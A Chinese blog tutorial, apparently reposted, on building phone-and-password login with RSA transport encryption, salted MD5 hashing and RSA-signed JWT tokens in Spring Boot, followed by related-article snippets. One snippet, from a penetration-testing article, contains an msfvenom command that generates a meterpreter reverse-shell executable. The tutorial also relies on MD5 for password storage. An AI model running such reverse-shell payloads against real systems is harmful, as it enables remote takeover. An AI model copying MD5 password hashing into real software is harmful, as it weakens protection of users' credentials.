记一次实战项目所学(JWT篇)

记一次实战项目所学(JWT篇)

5. 登录验证功能

先获取公钥准备将前端输入的进行加密

    //获得公钥@GetMapping("/rsa-pks")public JsonResponse<String> getRsaPublicKey(){String publicKeyStr = RSAUtil.getPublicKeyStr();return  new JsonResponse<>(publicKeyStr);}
新建(注册)一个user

(controller层)

      //新建一个用户@PostMapping("/users")          //@RequestBody 把User 封装成json数据返回public JsonResponse<String>addUser(@RequestBody User user){userService.addUser(user);return  JsonResponse.success();}

​ (Service层)

@Service
public class UserService {@Autowiredprivate UserDao userDao;public void addUser(User user) {String phone = user.getPhone();if (StringUtils.isNullOrEmpty(phone)) {throw new ConditionException("手机号不能为空!");}User dbUser = this.getUserByPhone(phone);if (dbUser != null) {throw new ConditionException("该手机号已经被注册");}//加密需要Date now = new Date();//md5需要加密String salt = String.valueOf(now.getTime());String password = user.getPassword();String rawPassword;try {rawPassword = RSAUtil.decrypt(password);//该密码已经通过前端获取的公钥加密} catch (Exception e) {throw new ConditionException("解密失败");}String md5Password = MD5Util.sign(rawPassword, salt, "UTF-8");user.setSalt(salt);user.setPassword(md5Password);user.setCreateTime(now);userDao.addUser(user);//添加用户信息(这里有两张表user和userinfo )UserInfo userInfo = new UserInfo();userInfo.setUserId(user.getId());userInfo.setNick(UserConstant.DEFAULT_NICK);userInfo.setBirth(UserConstant.DEFAULT_BIRTH);userInfo.setGender(UserConstant.GENDER_FEMALE);userInfo.setCreateTime(now);userDao.addUserInfo(userInfo);}public User getUserByPhone(String phone) {return userDao.getUserByPhone(phone);}

dao层为数据操作不再贴代码啦

用户登录

controller

  //用户登录@PostMapping("/user-tokens")public  JsonResponse<String> login(@RequestBody User user) throws Exception{String token=userService.login(user);return new JsonResponse<>(token);}

service

public String login(User user) throws Exception {String phone = user.getPhone();if (StringUtils.isNullOrEmpty(phone)) {throw new ConditionException("手机号不能为空!");}User dbUser = this.getUserByPhone(phone);if (dbUser == null) {throw new ConditionException("当前用户不存在");}String password = user.getPassword();String rowpassword;try {rowpassword = RSAUtil.decrypt(password);} catch (Exception e) {throw new ConditionException("密码解密失败");}String salt = dbUser.getSalt();String md5Password = MD5Util.sign(rowpassword, salt, "UTF-8");if (!md5Password.equals(dbUser.getPassword())) {throw new ConditionException("密码错误!");}return TokenUtil.generateToken(dbUser.getId());}
前端加密不安全,数据库存入的密码应该是不可逆的,每次认证时候前端传入密码加密后跟后端数据库里密码比对,如果一样密码正确,如果不一样密码不正确,前端加密后传输是怕传输过程被拦截获取到明文密码

因为id是唯一的所以id可以作为token

5.5 基于JWT的用户的token验证

在这里插入图片描述
1710307369465)

在这里插入图片描述

依赖

 		<dependency><groupId>com.auth0</groupId><artifactId>java-jwt</artifactId><version>3.18.2</version></dependency>

util.token

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.exceptions.TokenExpiredException;
import com.auth0.jwt.interfaces.DecodedJWT;
import com.imooc.bilibili.domain.except.ConditionException;import java.util.Calendar;
import java.util.Date;public class TokenUtil {private  static  final  String ISSUER="签发者"; //签发者是谁,随意填public static String generateToken(Long userId) throws Exception{Algorithm algorithm = Algorithm.RSA256(RSAUtil.getPublicKey(),RSAUtil.getPrivateKey());Calendar calendar =Calendar.getInstance(); //用于实现过期时间calendar.setTime(new Date());calendar.add(Calendar.SECOND,30); //30s过期return JWT.create().withKeyId(String.valueOf(userId)).withIssuer(ISSUER).withExpiresAt(calendar.getTime()).sign(algorithm);}//解密public  static  Long verifyToken(String token) {try{Algorithm algorithm =Algorithm.RSA256(RSAUtil.getPublicKey(),RSAUtil.getPrivateKey());JWTVerifier verifier =JWT.require(algorithm).build();DecodedJWT jwt= verifier.verify(token);String keyId = jwt.getKeyId();return  Long.valueOf(keyId);}catch (TokenExpiredException e){throw  new ConditionException("555","token过期!");}catch (Exception e){throw  new ConditionException("非法用户token");}}
}

需要一个通用方法,获取token里的userid(一般放在请求头里)

import com.imooc.bilibili.domain.except.ConditionException;
import com.imooc.bilibili.service.Util.TokenUtil;
import org.springframework.stereotype.Component;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;import javax.servlet.ServletRequest;@Component
public class UserSupport {public  Long getCurrentUserId(){//抓取请求上下文,获取token(在请求头中)+ServletRequestAttributes requestAttributes =(ServletRequestAttributes) RequestContextHolder.getRequestAttributes();String token =requestAttributes.getRequest().getHeader("token");Long userId= TokenUtil.verifyToken(token);if(userId<0){throw  new ConditionException("非法用户!");}return  userId;}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2868987.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

基于springboot+vue实现艺术水平考级报名系统【项目源码+论文说明】计算机毕业设计

基于springbootvue实现艺术水平考级报名系统演示 摘要 本次毕业设计基于SpringBoot框架开发了一款艺术水平考级报名管理系统。该系统为考生提供了线上报名、准考证管理等核心功能&#xff0c;并为系统管理员提供了在线发布考试信息、对报名考生进行审核等管理功能。通过该系统…

数据安全之认识数据库加密系统

文章目录 一、什么是数据库加密系统二、数据库加密系统的工作原理三、数据库加密系统的核心功能四、数据库加密系统的特点和优势五、数据库加密系统的部署方式1、在线透明部署2、旁路代理模式 六、数据库加密系统的应用场景 数据库作为计算机信息系统的核心组成部分&#xff0c…

Java-并发编程--ThreadLocal、InheritableThreadLocal

1.ThreadLocal 作用 作用&#xff1a;为变量在线程中都创建副本&#xff0c;线程可访问自己内部的副本变量。该类提供了线程局部 (thread-local) 变量&#xff0c;访问这个变量&#xff08;通过其 get 或 set 方法&#xff09;的每个线程都有自己的局部变量&#xff0c;它独立…

vuex购物车案例

store/index.js // 导入vue import Vue from vue // 导入vuex import Vuex from vueximport cart from ./module/cartVue.use(Vuex)// 创建仓库store const store new Vuex.Store({strict: true,modules: {cart} })// 导出仓库 export default storestore/modules/cart impo…

外包干了28天,技术退步明显......

说一下自己的情况&#xff0c;本科生&#xff0c;19年通过校招进入深圳某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&a…

python-在图片上标实心圆点

代码&#xff1a; from PIL import Image, ImageDraw# 打开图像 image_path path_to_your_image.jpg image Image.open(image_path)# 创建一个可以在上面绘图的对象 draw ImageDraw.Draw(image)# 设置圆点的坐标和颜色 x 100 # 圆点的x坐标 y 100 # 圆点的y坐标 color …

电商系统秒杀一 秒杀的各种解决方案以及存在的问题

一 业务场景介绍 1.1 正常电商流程 1.2 活动和场次关系 秒杀活动表&#xff1a;sms_flash_promotion DROP TABLE IF EXISTS sms_flash_promotion; CREATE TABLE sms_flash_promotion (id bigint(20) NOT NULL AUTO_INCREMENT,title varchar(200) CHARACTER SET utf8 COLLAT…

【C语言步行梯】各类操作符、类型转换与原码、反码、补码详谈

&#x1f3af;每日努力一点点&#xff0c;技术进步看得见 &#x1f3e0;专栏介绍&#xff1a;【C语言步行梯】专栏用于介绍C语言相关内容&#xff0c;每篇文章将通过图片代码片段网络相关题目的方式编写&#xff0c;欢迎订阅~~ 文章目录 算术运算符原码、反码、补码介绍移位运算…

sparksession对象简介

什么是sparksession对象 spark2.0之后&#xff0c;sparksession对象是spark编码的统一入口对象&#xff0c;通常我们在rdd编程时&#xff0c;需要SparkContext对象作为RDD编程入口&#xff0c;但sparksession对象既可以作为RDD编程对象入口&#xff0c;在sparkcore编程中可以通…

react可视化编辑器 第二章 自由拖动

完整代码 这里介绍 currentDiv 和 useRef的俩中用法&#xff0c;看自己需求使用 import React, {useState,DragEvent,useRef,useEffect,MouseEvent, } from react;interface Demo {id: number;x: number;y: number; }const App: React.FC () > {const [demos, setDemos] u…

RabbitMQ学习总结-基础篇

1..RabbitMQ 本身是一个消息中间件&#xff0c;在服务应用中&#xff0c;可解决高性能&#xff0c;高并发&#xff0c;高应用的问题&#xff0c;极大程度上解决了应用的性能问题。 2.MQ的使用分为生产者和消费者&#xff0c;生产者生产消息&#xff0c;消费者去消费消息。 3.…

管理类联考–复试–政治--二十大--记忆宫殿

文章目录 整体记忆宫殿门床头柜床书桌阳台 口诀记忆法 整体 记忆宫殿 要有逻辑的放到房间了 何为逻辑&#xff0c;如下大佬总结的便是&#xff0c;或者可自行总结&#xff0c;有前后顺序&#xff0c;做事逻辑即可 第一步&#xff1a;将逻辑的点放到房间里的点&#xff0c;…

从零开始搭建游戏服务器 第二节 Actor模型与应用

目录 复习本节内容正文什么是Actor模型如何应用创建Actor基类创建RootActor创建AkkaContext创建ConnectActorManager和ConnectActor生成actor并发送消息给它 课后作业结尾 复习 上一节我们使用gradle构建了一个多模块系统。 并且在登录服启动了Netty服务&#xff0c;监听confi…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

劲仔食品三年倍增,抢先打响鹌鹑蛋“健康”属性品牌之争?

如果说&#xff0c;进入2024年后&#xff0c;在股价继续陷入回调状态的食品板块中有个股走势表现相对亮眼&#xff0c;那么劲仔食品必是其中之一。 从去年发布2023年三季度业绩公告以来&#xff0c;其强劲的业绩表现就带动了股价走出小趋势。2023年10月23日至今2024年3月13日收…

Spring框架-上篇

预备知识&#xff1a;Maven基础 目录 Spring课程介绍为什么学学什么怎么学将学习的Spring技术 Spring Framework系统架构Spring Framework系统架构图Spring Framework学习线路 核心概念小结IoC案例Io入门案例思路分析Ioc入门案例(XML版) DI入门案例DI入门案例思路分析DI入门案…

关于UE的相机震动CameraShake

创建CameraShake资源 CameraShake配置是个蓝图类&#xff0c;我们选择创建BlueprintClass&#xff0c;父类选择CameraShakeBase即可。 参数调整 目前主要用到了 LocationAmplitudeMultiplier 1 LocationFrequencyMultiplier 10 RotationAmplitudeMultiplier 1 Rotation…

云服务器2核4G能支持多少人同时访问?拿本记上!

腾讯云轻量2核4G5M带宽服务器支持多少人在线访问&#xff1f;5M带宽下载速度峰值可达640KB/秒&#xff0c;阿腾云以搭建网站为例&#xff0c;假设优化后平均大小为60KB&#xff0c;则5M带宽可支撑10个用户同时在1秒内打开网站&#xff0c;并发数为10&#xff0c;经阿腾云测试&a…

使用Python IDLE进行Debug调试

1.首先以我的Python版本为例为大家讲解&#xff0c;我的版本是Python 3.7&#xff0c;版本问题对使用情况影响不大。 2.接着我们可以通过新建文件夹来输入我们的代码或者打开我们已有的代码 这里我直接打开已有的代码效果如图&#xff0c;接下来我们如何使用Debug呢&#xff1…

【LLM】LLama2模型(RMSNorm、SwiGLU、RoPE位置编码)

note 预训练语言模型除了自回归&#xff08;Autoregressive&#xff09;模型GPT&#xff0c;还有自编码模型&#xff08;Autoencoding&#xff09;BERT[1]、编-解码&#xff08;Encoder-Decoder&#xff09;模型BART[67]&#xff0c;以及融合上述三种方法的自回归填空&#xf…